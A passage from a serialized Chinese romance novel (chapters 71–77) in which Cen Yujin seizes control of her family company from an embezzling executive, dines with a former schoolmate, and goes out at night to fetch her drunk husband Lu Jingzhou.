他加重语气,眼神扫过几位摇摆不定的股东,“跟着我,我能给大家的,是实实在在的分红,是岑氏稳稳当当的未来!那些凭空冒出来的‘新老板’,谁知道是什么来路?万一毁了岑氏的根基,大家的利益,谁来保障?” 话音刚落,底下立刻响起附和声。 “岑总说得对!这几年多亏了您,我们才能拿到这么高的分红!” “就是!凭什么让一个外人来指手画脚?” “岑总,我们跟着您干!” 当然还有没表态在观望的。 岑海峰脸上露出得意的笑,正要再说些拉拢人心的话,会议室厚重的实木门,突然被人从外面猛地推开。 “砰——” 一声巨响,震得所有人都循声望去。 先是两名身着黑色西装,身形挺拔的保镖鱼贯而入,分立在门两侧,神情冷峻如铁。 紧接着,一队同样着装的保镖有序进场,迅速在会议室两侧排开,形成一条笔直的通道,瞬间压过了刚才的喧闹。 整个会议室的温度仿佛骤降几度,刚才附和岑海峰的人,全都下意识地闭了嘴。 朝着会议室门口看去。 岑海峰的笑容僵在脸上,心头莫名一紧,厉声喝道,“你们是什么人?谁让你们进来的?保安!保安呢?” 没人回应他的怒吼。 在几十道沉凝的目光注视下,一道纤细却挺拔的身影,缓步走了进来。 岑予衿身着剪裁利落的黑色西装套裙,搭配同色系皮质腰带,柔顺的长发及腰。 精致的妆容掩盖了眼底的所有脆弱,只余下锐利如锋的眼神,扫过在场众人时,不带一丝温度。 她的步伐沉稳,每一步踩在地毯上,都像是踩在所有人的心尖上。 身后跟着张律师和几位陆家的特助,气势如虹。 “保安?”岑予衿走到长桌主位旁,停下脚步,目光直直落在脸色铁青的岑海峰身上,声音清冷如冰,“岑总,不……岑先生,现在的岑氏,还轮不到你喊保安来赶我。” 她抬手,张律师立刻上前,将一份股权持有证明,以及陆氏的委派合同,重重放在主位前的桌面上。 “我是陆家二少奶奶,周芙笙,持有岑氏51%的绝对控股权。”她的声音清晰而坚定,穿透力极强,“从今天起,我正式接任岑氏集团董事长兼CEO一职。” 岑海峰瞳孔骤缩,像是见了鬼一样看着她,“岑……岑予衿,你……你不是死了吗?” 岑予衿嘴角勾起一抹冰冷的弧度,眼神里满是嘲讽,“岑先生,这是说的什么话,这是在咒我死吗?我活得好好的,倒是让你失望了。” 目前对外宣称和陆家联姻的是周家,她只能现以周芙笙的身份拿回公司。 不过,不论是周芙笙还是岑予衿都是她。 用哪个身份拿回公司都一样。 岑海峰眉头皱的紧紧的,这明明就是岑予衿,什么时候变成周家二小姐周芙笙了。 还成了陆家二少奶奶? 岑予衿直接走到主位上,双手环胸,低头看着他。 岑海峰也没有要让的意思,就这么坐着。 身后的保镖特别有眼力见,立刻上前,把人从位置上提了起来。 另外两个抬了一张椅子放在主位。 岑予衿这才缓缓落座。 双手交叠放在桌面上,目光扫过全场,那些曾经附和岑海峰的人,此刻都低下头,不敢与她对视。 她可不是一般人,是陆家的二少奶奶。 岑氏刚上市没几年,根基远远陆家那种豪门深。 岑氏只要能抱上陆家的大腿,那这辈子都不用愁了。 刚才就属他们几个叫的最欢,要是被针对就完了。 “岑先生说,跟着你才有未来?”岑予衿轻笑一声,语气带着毫不掩饰的轻蔑,“那我倒想问问,你口中的‘蒸蒸日上’,是靠挪用公款填补海外项目的窟窿,还是靠做假账虚报营收?” 岑予衿话音未落,张律师已经将另一份文件投影到大屏幕上。 一页页清晰的财务报表、转账记录、虚假合同复印件赫然呈现,上面清晰地标注着岑海峰如何通过复杂的关联交易将集团资金转入其控制的海外空壳公司。 “这……这是伪造的!”岑海峰脸色煞白,额头渗出冷汗,强自镇定地反驳,“你以为弄些假证据就能污蔑我?” “伪造?”岑予衿挑眉,指尖轻轻敲了敲桌面,“这些资金的最终流向,需要我请经手人亲自来跟你对质吗?还是你想听听王总监的证词?” 她身后一位特助立刻拿出平板,播放了一段录音,里面清晰地传来一个男人颤抖的声音,“是岑海峰逼我做的假账,他说不做就让我在行业里混不下去。” 会议室里一片死寂,落针可闻。 刚才还支持岑海峰的股东们脸色变得极其难看。 岑海峰呼吸急促,眼神慌乱地扫过在场众人,最后死死盯住岑予衿,像是抓住了最后一根救命稻草,“就算……就算这些是真的,那又怎样?商场如战场,谁的手是完全干净的?重要的是我能给岑氏带来利益!城安集团的合作马上就要敲定了!这个项目能带来的利润,足以弥补!” 他几乎是吼出来的,试图用最后的筹码挽回颓势,“没有我,你们谁能拿下城安?谁能?除非你现在就能拿出比城安更好的项目,否则,董事会也不会答应让你胡来!” 他不管她岑予衿还是周芙笙,根基未稳,不可能有比城安集团更重量级的合作在手。 就在这时,会议室的门被轻轻敲响,一位秘书模样的女人快步走进来,在岑予衿身边低声耳语了几句。 岑予衿听完,脸上露出一丝高深莫测的笑意,她抬眼看向强作镇定的岑海峰,声音清晰地传遍整个会议室,“看来,你寄予厚望的城安集团代表也不能救你于水火了。” 她微微抬手,示意秘书,“请他们进来吧。” 在所有人惊疑不定的目光中,会议室的门再次被推开。 第72章 好久不见,小师妹 这次走进来的,是几位身着定制西装,气度不凡的外籍人士,为首的中年男子笑容温和。 张律师适时上前,向众人介绍,“各位,这位是M洲QN集团亚太区总裁,安德森先生。” “QN集团?!” 会议室里瞬间炸开了锅! 这可是全球顶尖的奢侈品集团,实力和城安集团不相上下。 岑氏之前连接触对方高层的机会都几乎没有。 安森先生径直走向岑予衿,用流利的中文微笑着伸出手,“陆太太,很高兴正式见面。我们集团经过慎重评估,非常看好岑氏在高端面料方面的潜力,希望能与贵公司建立长期战略合作关系,这是我们的初步意向书。” 他身后的助理立刻将一份烫金的合作意向书递到岑予衿面前。 岑予衿优雅地接过,看都没看,直接递给了身旁的张律师,然后对安森先生微笑颔首,“安森先生,合作愉快。具体细节,我的团队会与贵方详谈。” 整个过程行云流水,仿佛早已敲定。 岑海峰目瞪口呆地看着这一幕,脸上的血色瞬间褪尽,身体晃了晃,几乎要瘫软下去。 他最后的希望,他翻盘的筹码,在绝对的实力和准备面前,不堪一击。 他不死心。 “这种大公司的合作,岑氏这样的小公司,让利更多,远远没有和城安集团的合作来的实际。你们可都要考虑清楚……她一个初出茅庐的小丫头,只会把公司弄得乌烟瘴气。”岑海峰连最基本的话都说不利索,“只有我才能带着大家越来越好……” 岑予衿将头转向在座的各位高层,“从现在起,岑氏,我说了算!我身后是整个陆家。” 虽然说她在周家干了两年有一定的经验。 但她的能力还达不到能独立管理一整个公司的程度。 她能做的是利用好手里的每一张牌。 利用陆家没什么丢人的,老太太能给她撑腰。 “在座的各位,有谁觉得我岑予衿年轻,担不起这个担子,或者,”她顿了顿,目光刻意在刚才那几个附和岑海峰最起劲的人脸上停留片刻,“舍不得岑海峰许诺给你们的那点‘好处’的……” 她红唇微启,含着淡淡的笑意,却令人不寒而栗。 “现在就可以站起来,收拾东西,立刻离开岑氏!” “我绝不挽留!” 会议室里死一般的寂静,连呼吸声都清晰可闻。 那几个被目光扫过的人脸色煞白,下意识地低下头,恨不得缩进椅子里,哪里还有半分刚才的气势。 “留下来的,我欢迎。但我把丑话说在前头,岑氏不养闲人,更不养蛀虫!从今天起,一切按规矩办事,有能力者上,无能者下!只要你们尽心尽力,我岑予衿,以及我身后的陆家,绝不会亏待每一位为岑氏付出的同仁!” 她的话掷地有声,既是警告,也是承诺。 “周总说的是。我们一定不辜负周总对我们的期望。” 一人开口,其他人立马表态。 岑海峰没想到她会杀他个措手不及。 岑予衿身边的特助,低头在她耳边道,“城安集团的人已经到会议室门口了,要请到会客厅吗?” 岑海峰离她们很近,听到这话的他,立马觉得来了机会,打开了会议室的门。 那感觉就像是自己的救星来。 “祁总,您终于来了。” 岑予衿想再说话已经来不及了,人已经进门了。 在看清是来人之后,瞬间有了信心。 而男人也看到了坐在主位上的人,眼睛明显亮了一瞬。 得来全不费功夫,情场失意,商场得意。 祁鹤章看都没看岑海峰一眼,走到了主位,率先伸出了手,“好久不见,小学妹。” “师兄,好久不见。”岑予衿起身,握住他的手,“先散会,我和城安集团的祁总,先聊聊项目的事儿。” 听到这话,众高层纷纷出了会议室。 只有岑海峰一个人留在会议室的,不肯离开。 岑海峰眼睁睁看着自己最后的救命稻草就这么被岑予衿轻描淡写地接了过去,急火攻心,猛地冲上前想要拦住祁鹤章,“祁总!您别被她骗了!她根本不懂公司的业务,我们之前谈好的条件……” “岑先生。”祁鹤章停下脚步,脸上温和的笑容淡去,带着几分疏离的审视,“与岑氏的合作,我们看中的是实力与诚信。至于由谁来主导……” 他意味深长地看了一眼身旁气定神闲的岑予衿,继续道,“我相信她的能力,也尊重岑氏董事会的决定。” 这话如同最后一记重锤,狠狠砸在岑海峰心头。 岑予衿不再给他任何纠缠的机会,对身旁的保镖使了个眼色。 两名保镖立刻上前,一左一右架住了还想说话的岑海峰。 “你们干什么?!放开我!我是岑氏的总裁!”岑海峰奋力挣扎,面目狰狞地吼道。 岑予衿脚步未停,只淡淡留下一句吩咐,声音不大,却清晰地传遍了落针可闻的会议室,“张律师,报警。岑海峰涉嫌职务侵占、挪用资金等多项经济犯罪,证据确凿,移送警方依法处理。” 岑海峰的叫骂声逐渐远去,被保镖毫不留情地拖离了会议室。 短短一个上午,雷霆手段清理门户,强势引入国际顶级合作,如今连城安集团的合作也唾手可得。 这位空降的陆家二少奶奶,用绝对的实力和魄力,宣告了她对岑氏的绝对掌控。 …… 一小时后,总裁办公室内。 岑予衿与祁鹤章顺利签署了合作意向书。 “衿衿,没想到会在这里见到你。”祁鹤章合上钢笔,“他们都叫你周总,到底是怎么回事儿?” “这事说来话长,以后再慢慢跟你说,总之师兄只用知道现在我是周家二小姐周芙笙。”岑予衿微微一笑,掩去眼底一闪而过的复杂情绪,“多谢师兄成全这个项目。” 祁鹤章和岑予衿大学时是同一个导师,同属一个实验室,他比她大一届,两人关系不错。 只是后来他出国了,岑家出事儿,联系少了。 “互利共赢。”祁鹤章摆摆手,见她不肯说,也就没多问。 岑予衿冲他笑道,“原本还想尽尽地主之谊,不过你刚赶了一天飞机也累了,我让助理先送你回酒店休息,等你休息好再约可以吗?” “行,你今天才刚上任,还有很多事情要忙,就不打扰你。” 岑予衿笑着送他出门,“过几天再请师兄吃饭。” “好。”祁鹤章嘴角挂着浅浅的笑意,“我等着呢。” 岑予衿看着他离去的背影,狠狠松了口气。 刚接手公司就拿下了两个大项目,背靠陆家,岑氏基本拿下了。 这是这个月最好的消息。 也不知道陆京洲什么时候能回国…… 第73章 真期待他跪键盘的样子 陆京洲看着缩在沙发角落恨不得给他跪下的宋清菡,额角的青筋暴起,“宋清菡,你不是爱你男朋友爱到死去活来,怎么瞎成这个样子,连我和你男朋友都分不清!” “你说说吧,现在怎么办,被拍到就算了,还发到了网上!” 还被造谣说是什么他的新欢,一个18线小明星。 宋清菡像只鹌鹑似的,“京洲哥,真的对不起,我也不知道你在这儿,你的背影和我男朋友实在是太像了,我真的不是故意的。” 程凌晟实在没忍住笑出了声,“差不多得了,看把她吓得,那张照片就挂了半个小时就全网下架了,你到底在担心什么?以前那种照片多如牛毛,怎么没见你这么激动?” 陆京洲张了张嘴,又把话咽了回去。 以前是以前,现在是现在,根本就不一样。 自从发现周芙笙的秘密之后,他压根就不知道该怎么面对她。 她不是周家的亲生女儿,和周时越感情还那么好。 他那天去半山别墅救她的时候就已经发现了。 周时越还替她挡了一刀,他心里就是莫名不舒服。 恰好,公司和M国有一个合作,他就直接过来了。 也可以说……是在刻意躲着她。 “宋清菡,跟我回国!”陆京洲只留下这么一句话就往外走。 程凌晟都蒙了,“你不是不回国吗?” “周芙笙产检时间到了,我关心我孩子有错?” 宋清菡缓缓站起身,指了指自己,“那关我什么事?” “万一,她看到咱俩之间的绯闻,心情不好,产检过不了怎么办?是你惹出来的事儿,你得回去解释清楚。” 程凌晟:“……” 来M国一个月,他的心情就没好过。 每天视奸自己老婆。 消息是不回的,一日三餐,作息时间,连带着穿搭都是要过问的! 真是搞不懂他为什么要这么别扭。 这会也是,明明就是担心自己老婆会误会,还死不承认说是担心自己的宝宝。 他从来没有想过陆京洲谈恋爱会是这个样子,感觉有点可爱。 “你把嫂子微信推我,我在微信上跟她说不就行了吗?我不想回国,我还没玩够,我舍不得我男朋友。” 陆京洲停下脚步,一记眼刀扫了过去。 宋清菡秒怂,立刻低下了头,“玩够了,我回去……我回去还不行吗?” 真搞不懂这样的男人为什么会有人要? 周芙笙胆子可真大啊,平时得憋屈成什么样啊? 她是真的要崩溃了。 幸好陆京洲看不上他。 也后悔给男朋友买那件衣服。 拿出手机哭唧唧的发了个表情包。 随后,边小跑着跟上边发语音,【宝宝,我要被某人强制送回国了,怎么办~你跟我一块回去好不好?】 【我先走,等你到了给我发消息,我去机场接你。】 陆京洲的私人飞机降落在京市国际机场时,他透过舷窗看着外面熟悉的景色,心里那股莫名的烦躁又升腾起来。 一个月没回来,他给自己找足了借口,M国的合作项目至关重要,必须他亲自坐镇。 但只有他自己知道,脑子里全是周芙笙和周时越并肩站在一起的照片。 还有他替她挡了一刀,她哭的撕心裂肺,看着她的眼神极其复杂,这就像有根刺扎在心头,不深,却始终隐隐作痛。 他不知道该怎么解决,一直在逃避。 可真要和她坦白,他又做不到。 他就怕听到她两确实有过一段,现在还喜欢他这个回答。 “京洲哥,我能不能...”宋清菡跟在他身后,小心翼翼地开口。 “不能。”陆京洲头也不回地打断她,“直接去檀月山庄。” 宋清菡哀嚎一声,认命地跟上他的脚步。 10多辆豪车,整整齐齐的开入檀月山庄的地下停车场。 说实话程凌晟还是有些小激动的。 他还没见过周芙笙长什么样,更不知道两人的相处模式是什么样的。 这10多辆车后备箱全是陆京洲这一个月在国外给他老婆买的东西。 这……他嘴上还不承认,死活说是为了孩子,为了檀月山庄。 真期待他跪键盘的样子。 第74章 小孕妇可不能熬夜哟~ 半个小时后,程凌晟后悔了。 他就不该凑这个热闹! 京北的深冬的寒风到底有多冷,活了20多年,他总算是体验到了。 陆京洲就像站在门口的望妻石,门是不进的,车是不上的。 就这么来回,在门口踱步。 宋清菡和他已经冷的受不住了,瑟瑟发抖,不断你哈着气搓着手。 “阿洲,时间也不早了,我觉得我还得倒一下时差,就不陪你在这儿等了,我先回家哈。” 宋清菡鼻尖都被冻红了,“京洲哥,你是没你家钥匙吗?没钥匙的话给管家发个消息,咱们应该也能进去吧?我看这又是指纹,又是按键,又是扫脸,咱们没钥匙也能进吧?我要感冒了!” 陆京洲停下了脚步,视线在他俩身上来回扫视,最后只是冷冷的一句闭嘴。 走也不是,留也不是。 终于又过了10来分钟,他终于有了新的动作,站在门口,指纹解锁。 别墅大门应声而开。 两人二话没说,钻进了房间。 被温暖包裹的感觉实在是太好了。 陆京洲的动静惊扰了睡梦中的吴妈,吴妈睡眼朦胧的从1楼的房间出来,“少爷,您怎么突然回来了?” 陆京洲朝楼上张望着,“她睡了吗?” “您说的是少夫人?”吴妈顺着他的视线往楼上看了一眼,“少夫人今天没回家,好像是去朋友家。” “她没说是哪个朋友吗?” “应该是苏乐言小姐。” 陆京洲莫名松了口气,点了点头,“你也早点休息吧。” 说着头也不回的上了2楼。 独留程凌晟和宋清菡风中凌乱,“我们呢?” “要住就住,不住就滚。” 宋清菡小心翼翼的靠近,“他最近是吃了火药了吗?火气这么大。” “恋爱中的男人估计都这样吧,我不太懂。” 宋清菡也摇了摇头,“才不是,我男朋友就很好啊。” 说到男朋友,她一下子想起来,她还说在机场接他呢! 有些无奈的拍了拍脑袋,“我得先走了,明天早上再回来啊。” “这么晚了你去哪?” “接我男朋友啊~”宋清菡的声音欢快,完全是恋爱中的小女人。 “去吧去吧,我帮你打掩护。”程凌晟有些羡慕。 现在就差傅星驰他俩是单身狗了! 陆京洲回到了熟悉的房间,房间里还残存着周芙笙留下的味道。 把自己一个月没开机过的手机充电。 走到2楼,往楼下看,他离开前堆的那个雪人还在。 包括她画那个爱心和他名字的缩写。 京北这几天几乎都在下雪……可是雪人还在,还好好的。 陆京洲又冲下了楼,去了花园。 …… 另一边,苏乐言看着床上躺着香香软软闺蜜心里那叫一个开心。 终于是睡到她了。 “衿衿,咱俩成年后都多久没有,睡过一个床了?” 说着一溜烟钻到了被窝,一把抱住,还在看书的岑予衿,“这有人暖床就是不一样,我好想一辈子跟你这样躺着睡觉,贴贴~” 岑予衿被她这话逗笑了,“等到时候你结婚了,有老公了,别不要我就行。” “为什么?”苏乐言抽到她手里的书本,顺口问道。 “因为他身上更暖啊,跟暖宝宝……”岑予衿可太懂自己闺蜜是什么人了,闭了嘴,可显然已经来不及了。 苏乐言眯着眸子,一副色眯眯的吃瓜的表情,“你怎么知道?陆京洲还给你暖过床,我的天!抱起来什么感觉,腹肌摸起来到底是不是硬?” 岑予衿听她提起陆京洲,一下子又想到了那张照片,强撑着笑意,可是显然没有那么自然了。 苏乐言自然也看出来了,“他还是没有消息吗?” 岑予衿摇了摇头,垂下了眼睑,“没有,不过我们俩的婚姻从一开始就是我的精心算计,他浪子收不了心,我的目的也不单纯,扯平了。” 苏乐言虽然拍过不少电视剧,可感情经历为零,完全是个小白,也不知道该怎么安慰她,“衿衿,和一个不爱的男人过一辈子,这真的是你想要的吗?” “从我嫁进陆家那一刻起,就没有后悔的余地了,不爱也没关系,反正他跟失踪人口也没什么区别,至少他帅啊,总比周时越给我找的那个60岁老头要强吧。” 苏乐言没有继续这个话题,她知道岑予衿是有点喜欢他的。 可是两人相处了没多长时间,感情本来就不深,经不住这样磨的。 抱着她更紧了一些,“没事啦,没事啦,至少你还有两个颜值不会差的小宝宝~事业成功外加宝宝,也已经很不错了,到时候想要包养什么样的小白脸没有?是不?万一他遇到喜欢的人了,主动离婚,那不是更好吗?” 说完她才发现她说的这是什么狗话,都说了自己不会安慰,这会越安慰越不是了。 衿衿更伤心了。 岑予衿轻轻的抚上小腹,不知不觉宝宝都快三个月了。 这一个月她忙的够呛,孕反严重,体重还下降,不过怀的是双胞胎,小腹已经开始微微隆起了。 “对了,言言近段时间有没有吃到什么特别好吃的餐厅,给我推荐一下呗。” 苏乐言听到这话也没多想,在脑子里回想了一下,眼睛突然就亮了,“还真有一家,恒慕,上次我们拍戏的时候,在那儿取景,那里的漂亮饭可真是好吃到绝了,我还说要带你一块去呢,一直没时间。” 岑予衿记下了,发消息让助理帮忙安排。 说要请师兄吃饭,一直没时间。 明天这饭要是还吃不上,他都要走了。 “对了,你合约不是快到了,还打算续吗?” 苏乐言把头摇的跟拨浪鼓似的,“不续了,已经在接触新公司了,看我合约快到期,安排的通告满满当当,我都要累死了,我又不缺钱,不干了!” 苏乐言想到这几天的工作量,还隐隐有些后怕。 “多休息几天,熬坏了身子不值得。” 苏乐言把灯关了,“衿衿,早点休息,我看你这几天气色都不太好,孕妇可不能熬夜哟~” “晚安~” 岑予衿躺在床上,身边的苏乐言已经传来平稳的呼吸。 她也没有睡着。 也许是她刚才提到了陆京洲,她的思绪又不自觉的被牵动了。 自己从小就是在有爱的环境里长大的。 说实话,如果她有足够的能力她不想让自己的孩子出生在这样的家庭。 她和陆京洲本来就不是同一条平行线上的人。 …… 恒慕! 岑予衿到了店里才发现,自己来挑错地方了,氛围感就不太对。 这是一家情侣餐厅! 还是一家特别著名的情侣餐厅。 可是这会换一家显然也来不及了,因为5分钟前祁鹤章就发消息过来了,这会儿估计要到。 果然下一秒就听到了他的声音,“衿衿。” 岑予衿只想找个地缝钻进去。 第75章 她已经找好下家了! 祁鹤章穿着一件浅灰色的羊绒大衣,身姿挺拔地出现在餐厅温馨浪漫的光晕里。 他脸上带着温和的笑意,径直走到岑予衿对面坐下,仿佛没有察觉到周遭刻意营造出来的甜蜜氛围。 “抱歉,师兄,我……”岑予衿脸上带着显而易见的窘迫,指尖无意识地蜷缩着,“这家店是我朋友推荐的,我没仔细看是……我们换一家吧?” 她说着就准备起身,脸颊因尴尬而微微泛红。 和师兄在情侣餐厅吃饭,这实在太不合适了。 祁鹤章却抬手,做了一个温和的阻止手势,他的目光扫过周围,语气自然得听不出任何异样,“既来之则安之。我明天一早的航班,还没有去逛过,再找地方未免浪费时间。衿衿,不过是一顿饭而已,哪里吃不是吃?” 他脱下大衣,露出里面合身的浅色毛衣,姿态闲适地靠进椅背,笑着补充,“何况,美食无罪。总不能因为它的环境适合情侣,我们就否定它的味道吧?你朋友推荐的,想必不会差。” 他几句话说得滴水不漏,既化解了岑予衿的尴尬,又显得坦荡大方,让她找不到再坚持离开的理由。 岑予衿只好重新坐下,勉强笑了笑,“好吧,希望这里的菜不会让你失望。” “和你一起吃饭,在哪里都不会失望。”祁鹤章的声音很轻,带着笑意,像是随口一句客套,又仿佛夹杂着别的什么。 他自然地接过菜单,递到她面前,“看看想吃什么?你最近是不是太累了,状态不太对,应该多吃点。” 他的关心恰到好处,不会过分逾越,却又在细节处流露出注视。 岑予衿垂下眼睑,避开他隐含深意的目光,专注于菜单,“还好吧。” 很快菜就上齐了。 这顿饭吃得还算愉快。 祁鹤章很健谈,学识渊博,总能引到岑予衿感兴趣的话题上,从艺术展聊到最近的财经动向,绝口不提任何可能让她不适的内容。 餐厅的菜品也确实精致可口,只是岑予衿因着孕反和心底那丝不自在,吃得并不多。 “衿衿你的口味变了?我记得咱们上学那会,你挺喜欢的。” 首先这是个情侣餐厅,其次她孕反,根本吃不下。 “没变,就是这几天胃口不太好而已。” 祁鹤章点了点头,像是突然想起了什么问道,“对了,听说你和陆家的二少爷结婚了?” “嗯,刚结婚没几个月,日子定的匆忙,很多都来不及邀请。” 祁鹤章知道她以前很喜欢周时越,两人两情相悦,形影不离的。 不知道到最后两人会分开。 她会选择和陆京洲那样的人结婚。 说实话,他们真的不适合…… “他对你好吗?”祁鹤章脱口而出,说出这句话之后才发现,这话到底有多唐突。 岑予衿自己都愣了一下,陆京洲对她好吗? 也没有不好,比起别人已经好太多了。 她还没来得及说什么,他就开了口。 “抱歉。”迅速道歉,并从怀里掏出了一个盒子推到她面前,笑着转移了话题,“新婚礼物给你补上。” 岑予衿看着面前精致的丝绒盒子,微微怔了一下。 随即,她抬起眼眸,唇边漾开一抹清浅而明媚的笑意。 “师兄的消息倒是灵通。”她语气轻松,没有半分闪躲,伸手自然地接过了那个盒子,“是,和京洲结婚了。他其实并不像外界传闻的那样,对我很好,也很体贴。” 她一边说着,一边轻轻打开盒盖,里面静静躺着一条设计极为精巧的钻石手链,在灯光下流光溢彩,一看便知价值不菲。 她没有推辞,反而落落大方地拿起,在腕间比了比,抬头对祁鹤章笑道,“很漂亮,谢谢师兄的礼物和祝福。能嫁给他,我很幸福。” 她的话语清晰,姿态坦然,每一个字都在明确地勾勒出她陆太太的身份和满足。 祁鹤章看着她腕间闪烁的钻石,又对上她那双含笑却带着明确界限的眼睛,心像是被什么东西轻轻蛰了一下。 他脸上温雅的笑容不变,只是眼底深处掠过一丝极淡的阴霾,快得让人无法捕捉。 “你幸福就好。”他声音依旧温和,带着恰到好处的祝福意味,仿佛刚才那句唐突的问话真的只是一时失言。 他看着她,目光深邃,像是要将她此刻笃定幸福的模样刻印下来。 “幸福就好。衿衿,婚姻漫长,如果以后遇到什么难处,记得我这个师兄永远在这里。” 他没有越界,却也没有将门彻底关死。 岑予衿听出来话里的意思不对劲,她轻轻将手链放回盒中,合上盖子,发出清脆的“咔哒”声。 “师兄,我会一直很幸福的。你要是什么时候遇到了属于你的幸福,可别忘了跟我分享哦。” 她不着痕迹的避开了话题。 吃完饭,天气还不错,岑予衿就带着他去了附近逛了逛。 …… 陆家老宅! 陆京洲不知道老太太哪里来的消息,知道他回国,一大早就把他叫回了老宅。 劈头盖脸的骂了一顿。 陆京洲委屈的要死,却也没有顶嘴。 因为他左耳朵进,右耳朵出,压根就没听。 手机……他已经开机了。 上面全都是周芙笙发的消息,未接电话更是有99+ 无一例外都出自同一个人。 不过……整整一个月,后面几天的消息显然少了,到最近几天已经没有任何消息了。 “阿洲,有些事情你看到的未必就是真相。你要是真的想知道真相就问清楚,要是你觉得真相不是那么重要,假装无事发生,也好过逃避。” 说着老太太拿出了几张照片,递给他,“笙笙,是个好孩子,长得又乖又有才华,追的人可多喽。” 李管家出门的时候恰好遇到了。 就跟老太太提了一嘴。 她这大孙子就是个榆木脑袋,要是她不激一下,估计这辈子都开不了窍。 陆京洲看着恒慕两个字,心一下子沉到了谷底。 她这么快就找好下家了,还跟别人去情侣餐厅。 她怎么可以这样。 不行……他要去把那男人剁了。 想撬他墙角,没门! 陆京洲怒气冲冲的出了门。 第76章 嫂子,阿洲喝醉了你能来接一下吗? 岑予衿陪祁鹤章逛了一整天,回到檀月山庄天都要黑了。 她回家没进主楼,第一件事情和往常一样,先去了后花园。 看那个堆起来的雪人。 她已经习惯了。 特别是陆京洲刚走那几天,雪特别大,她每天都都要来看好几次。 缝缝补补,总觉得这个大雪人堆在这儿特别有安全感。 岑予衿和往常一样,拿起小铲子,想要修复一下雪人。 走近了才发现,身边多了个挂着粉色围巾,稍微娇小一点的雪人。 那样子,像是依偎在大雪人身上的。 再凑齐了一些,才发现地上里有两个雪人小baby,很迷你,很可爱。 像是一家四口。 岑予衿有些意外,不知道是谁堆的雪人。 看着这几个憨憨的雪人,心情都变好了不少。 拍了好几张照片,转身进门。 刚进家门就发现了,家里似乎有些不一样。 堆满了各式各样的礼物盒。 客厅基本上都要被占满了。 岑予衿有些意外,这不会是奶奶送过来的吧? “吴妈?怎么有这么多东西啊,是奶奶送过来的吗?” 吴妈冲她笑道,“不是老妇人送过来的,是少爷回来了。” 岑予衿顿住了,他终于回来了? 是玩够了吗? 爆出的绯闻,怎么今天就舍得回来了。 “他什么时候回来的?”岑予衿下意识的攥紧了手里的包。 “昨天晚上大半夜回来的,回来了之后,上了一趟楼,就一直在院子里堆雪人,直到今天早上老太太让他回老宅,他才回去的。” 原来……那几个雪人是陆京洲堆的。 他那是什么意思啊? 岑予衿立刻就清醒了过来,他这是什么意思都不重要。 这一个月表现的还不够明显吗? 陆京洲和她就不是一个世界的人,走不到一块去。 陆京洲爱玩,换女朋友的速度比换衣服还快。 与其想着怎么让对方爱上自己,不如好好想想怎么经营好岑氏。 平平安安的把宝宝生下来。 这才是最重要的。 陆京洲对她来说就是过日子的搭子,绝对不能交心,绝对不可以。 岑予衿敛起心神,不再去看那些堆积如山的礼物,也无心探究他堆雪人的用意,只对吴妈淡淡点了点头,“知道了。” 她径直上楼,回到主卧。 推开房门,一种与往日不同的,极具存在感的气息便扑面而来。 那种熟悉的气息,强势地侵占了房间里的每一个角落,无声地宣告着主人的回归。 岑予衿的脚步在门口顿了顿,才走进去。 她目不斜视地拿了睡衣,走进浴室。 温热的水流冲刷着身体,却似乎冲不散空气中那股萦绕不散的味道,也冲不散心底那一丝莫名的烦乱。 他回来了,这个认知让整个空间都变得有些逼仄起来。 洗完澡,她吹干头发,换上舒适的睡衣躺上床。 没有主动给他发消息,询问他的状况。 几乎是身体陷入柔软床垫的瞬间,那股属于陆京洲的味道变得更加清晰来自枕头,来自被褥,仿佛他刚刚就在这里躺过。 这味道并不难闻,甚至称得上高级,却像一张无形的网,密密地将她包裹。 岑予衿下意识地往自己这边挪了挪,试图远离那气息浓重的区域。 她闭上眼,强迫自己入睡,心里一遍遍重复着刚才的决断: 陆京洲是搭子,只是搭子。 他想回来就回来,不用在意,更不用刻意迎合。 平安生下孩子,经营好岑氏,才是正途。 可鼻尖萦绕的、属于另一个人的强烈存在感,却让这个夜晚,注定难以平静。 她拉高被子,将自己半张脸埋进去,在一种矛盾而清醒的认知中,辗转难眠。 岑予衿一直处于迷迷糊糊的状态,想要进入深度睡眠是不太可能了。 索性起身,坐在床上发呆。 看了一眼时间已经凌晨3点了。 再这么下去,明天她估计连起床上班都上不了。 重重的叹了口气,躺下想要逼自己睡。 放在床头充电的手机却突然响了起来。 岑予衿下意识的皱起了眉头,拿过手机看了一眼,才发现居然是一个月没联系的陆京洲。 不知为何,她的心脏跳动的频率有些异常。 紧紧的握着手机,电话接也不是,不接也不是。 直到自己按了接听键才如梦初醒。 一个好听的男声从听筒里传了过来,“嫂子,实在是抱歉,这么晚了打扰你。” “请问你是?”岑予衿一听不是陆京洲的声音莫名有些慌。 “我是阿洲的好朋友程凌晟,我们在皇都,阿洲喝多了,一直喊着你的名字,我们想送他回去,他坚决不肯,你可不可以来接他一下?再这么喝下去,我怕他胃受不了。” 岑予衿那脑子嗡的一下,他说陆京洲喝醉了一直在喊她的名字? 这不太可能吧。 他…… “嫂子,你有在听吗?”程凌晟见她迟迟没有答应,又重复了一遍。 “我马上过来,你把具体的位置给我发一下。”岑予衿迅速的起床换衣服,收拾东西。 程凌晟迅速把地址发了过去。 岑予衿有些不放心的嘱咐,“麻烦你帮我照顾他一下,不要让他喝酒了,我这边过去估计得半个小时。” “你放心吧,我会看好他的,下着雪,你自己注意安全。” “好,谢谢。” 程凌晟大半夜也不想打扰她,可……他第一次见陆京洲这副半死不活,人不人,鬼不鬼的样子。 实在是没办法了。 第77章 谁喜欢她了?老子只想要檀月山庄 外头还在下雪,岑予衿畏寒把自己裹得可严实了。 时间实在是太晚了,她也没叫司机,自己开车去的。 大半夜,路上的车很少。 刚出门就遇到了红灯,车子稳稳停在斑马线前的停止线。 车灯割开雪幕,路灯却稳稳接住了它们,雪花在昏黄的路灯下旋转追逐,散漫又自由。 绿灯亮起,岑予衿踩下油门。 心情极为复杂。 陆京洲是失恋了吗? 大半夜喝酒,这都凌晨3点了。 从他急匆匆的回国来看,应该是失恋了。 过了半个小时左右,车子稳稳停一下。 岑予衿拿过副驾驶的羽绒服穿上,才下车。 下车后绕到副驾驶座,把给他准备好的大衣和围巾取了出来。 雪不大,却异常的冷! 岑予衿加快了脚步,进了皇都之后,又拿出手机看了一眼。 她不经常来这些地方,不知道具体在哪。 直接去前台问工作人员,才乘电梯到了顶楼。 顶楼只有一个包间,她在门口站定。 门没有关紧,留了一小条缝隙。 里面不像其他包间那么喧闹,只有偶尔传来的交谈声。 直接推门进去不太好,岑予衿抬手,正准备敲门。 